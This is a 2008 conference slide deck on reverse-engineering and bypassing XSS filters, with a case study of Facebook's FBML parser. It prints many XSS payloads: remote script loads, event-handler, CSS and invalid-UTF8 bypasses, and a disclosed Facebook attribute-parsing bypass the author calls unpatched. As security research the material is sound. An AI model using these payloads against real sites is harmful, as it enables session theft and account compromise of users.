Blackbox Reversing of XSS Filters

Alexander Sotirov
alex@sotirov.net

Recon 2008
Introduction

• Web applications are the future

• Reversing web apps
  ○ blackbox reversing
  ○ very different environment and tools

• Cross-site scripting (XSS)
  ○ the “strncpy” of web app development
  ○ reversing and bypassing XSS filters
Overview

- User generated content and Web 2.0
- Implementing XSS filters
- Reversing XSS filters
- XSS in Facebook
Part I

User generated content and Web 2.0
Web 2.0

- User generated content
- APIs
- Mashups
- Aggregation of untrusted content
- Significantly increased attack surface
User generated content

• Text
  o Plaintext
  o Lightweight markup (BBcode, Wikipedia)
  o Limited HTML
  o Full HTML and JavaScript

• Images, sound, video

• Flash
Attacker generated content

• Social networking
  ○ Samy’s MySpace worm
  ○ multiple Orkut worms, stealing bank info

• Webmail
  ○ Hotmail and Yahoo Mail cross-site scripting worm written by SkyLined in 2002
  ○ many SquirrelMail cross-site scripting bugs

• Blogs
  ○ hacking WordPress with XSS
Cross site scripting (XSS)

Request:

http://www.example.com/?name=\<script>alert('XSS')\</script>

Response:

<html>
<body>
<p>Hello  \<script>alert('XSS')\</script></p>
</body>
</html>
Web security model

Same origin policy

• Prevents scripts from one domain from manipulating documents loaded from other domains

• Cross site scripting allows us to execute arbitrary scripts on a page loaded from another domain
What can XSS do?

- Stealing data from web pages
- Capturing keystrokes on a web page
- Stealing authentication cookies
- Arbitrary HTTP requests with XMLHttpRequest
Part II

Implementing XSS filters
XSS filters

Goal:
- Remove all scripts from untrusted HTML

Challenges:
- Many HTML features that allow scripting
- Proprietary extensions to HTML
- Parsing invalid HTML
- Browser bugs
Features that allow scripting

Script tags

```html
<script src="http://www.example.com/xss.js">
</script>
```

Event handler attributes

```html
<body onload="alert('XSS')">
```

CSS

```html
<p style="background:url('javascript:alert(1)')">
```

URLs

```html
<img src="javascript:alert('XSS')">
```
Proprietary extensions to HTML

XML data islands (IE)

<xml src="http://www.example.com/xss.xml" id="x">
  <span datasrc="#x" datafld="c" dataformatas="html">

JavaScript expressions in attribute (NS4)

<p id="&{alert('XSS')}">

Conditional comments (IE)

<!--[if gte IE 4]>
  <script>alert('XSS')</script>
<![endif]-->
Parsing invalid HTML

\(<\texttt{script}\>\texttt{src=\texttt{http://xss.com/xss.js}}\)\texttt{</script>}

- extra '❦' before opening tag
- NULL byte inside tag name
- '/' separator between tag and attribute
- no quotes around attribute value
- missing '>' in closing tag

Browser behavior is not documented or standardized. IE7 parses this as:

\(<\texttt{script} \texttt{src="http://xss.com/xss.js"}>\texttt{</script}>\)
Invalid UTF8 handling in Internet Explorer 6

<body foo="\xC0" bar=" onload=alert(1); //">

Firefox and IE7:

<body foo="?" bar=" onload=alert(1); //">

IE6:

<body foo="? bar=" onload=alert(1); //">

Attribute parsing in Firefox < 2.0.0.2

<body onload=!#$%&()~+-_.,:;?@[\|\]^`=alert("XSS")>
Implementing XSS filters

- String matching filters
- HTML DOM parsers
- Canonicalization
- Whitelisting
Remove all script tags:

\[s/<script>//g;\]

Bypasses:

- Invalid HTML accepted by browsers
- Encoding of attribute values and URLs
- Using the filter against itself:
  \[<scr<script>ipt>\]
- Incomplete blacklists
<body onload="alert(1)">
    <script>alert(2)</script>
    <p>Hello</p>
</body>
Canonicalization

1. Build a DOM tree from the input stream
   ○ handle invalid UTF8 sequences

2. Apply XSS filters to the DOM tree

3. Output the DOM tree in a canonical form
   ○ escape special characters
   ○ add closing tags where necessary
Whitelisting

Blacklisting
  ○ remove known bad tags and attributes
  ○ must be 100% complete to be safe

Whitelisting
  ○ allow only known safe tags and attributes
  ○ safer than blacklisting
Part III

Reversing XSS filters
Reversing XSS filters

- Remote web applications
  - no access to source code or binaries

- Fuzzing
  - limited by bandwidth and request latency
  - draws attention

- Blackbox reversing
  - send input and inspect the output
  - build a filter model based on its behavior
Iterative model generation

1. Build an initial model of the filter
2. Generate a test case
3. Send test case and inspect the result
4. Update the model
5. Go to step 2
Example of parser reversing

Test case:

(1..0xFF).each { |x|
  data << "<p #{x.chr}a=''></p>"
}

Results:

- **whitespace regexp**
  
  `[/x08\t\r\n "'/]+`

- **attribute name regexp**
  
  `[a-zA-Z0-9:_]++`
refltr.rb

• Framework for XSS filter reversing
  ○ run a set of tests against a web application
  ○ store the results
  ○ manual analysis of the output
  ○ result diffing

• Application modules
  ○ abstract application specific details
  ○ sending data, result parsing, error detection

• Test modules
  ○ test generation functions
Using the model

• Grammar based analysis
  ○ build a grammar for the filter output
  ○ build a grammar for the browser parser
  ○ find a valid sentence in both grammars that includes a <script> tag

• Reimplement the filter and fuzz it locally
Part IV

XSS in Facebook
Facebook platform

- Third party applications
  - application pages
  - content in user profiles
  - message and wall post attachments

- FBML
  - HTML with a few restrictions
  - limited style sheet and scripting support

- FBJS
  - sandboxed JavaScript
Facebook serves as a proxy for application content

FBML processing:
- special FBML tags are replaced with HTML
- non-supported HTML tags are removed
- scripts are sandboxed
Reversing the FBML parser

- HTML DOM parser
- Accepts and fixes invalid input
- Canonicalized output
- Whitelist of tags, blacklist of attributes
Invalid UTF8 sequences

- input is parsed as ASCII
- HTTP response headers specify UTF8 encoding
- affects only IE6

Code:

```html
<img src="...
foo="\xC0"
bar="onload=alert(1);="/">
```

Reported and fixed in February.
This is where I drop the 0day

Attribute name parsing
  ○ mismatch between Facebook and Firefox parsers
  ○ affects only Firefox < 2.0.0.2

Code:

```html
<img src="..." onload:="alert(1)"/>
```

Not reported, Facebook is still vulnerable.
Zuckerbug!

This application provides test cases for security vulnerabilities in the Facebook Platform. The vulnerabilities below have been discovered by Alexander Sotirov.

Vulnerabilities:

<table>
<thead>
<tr>
<th>date</th>
<th>description</th>
<th>test</th>
<th>status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jan 29, 2008</td>
<td>XSS using invalid UTF-8 encodings (only on IE6)</td>
<td>test</td>
<td>patched on Feb 11, 2008</td>
</tr>
<tr>
<td>Feb 12, 2008</td>
<td>XSS using invalid UTF-8 encodings in script tags (only on IE6)</td>
<td>test</td>
<td>patched on Mar 4, 2008</td>
</tr>
<tr>
<td>Jun 14, 2008</td>
<td>XSS using a ':' character in attributes (only on Firefox 2.0.0.0)</td>
<td>test</td>
<td>unpatched</td>
</tr>
</tbody>
</table>
Part V

Conclusion
Conclusion

• Web 2.0 sites are totally screwed
  ○ broken web security model
  ○ undocumented browser behavior
  ○ no programming language support

• Blackbox reversing
  ○ the only way to reverse most web apps
  ○ we need better tools and automation
Questions?

alex@sotirov.net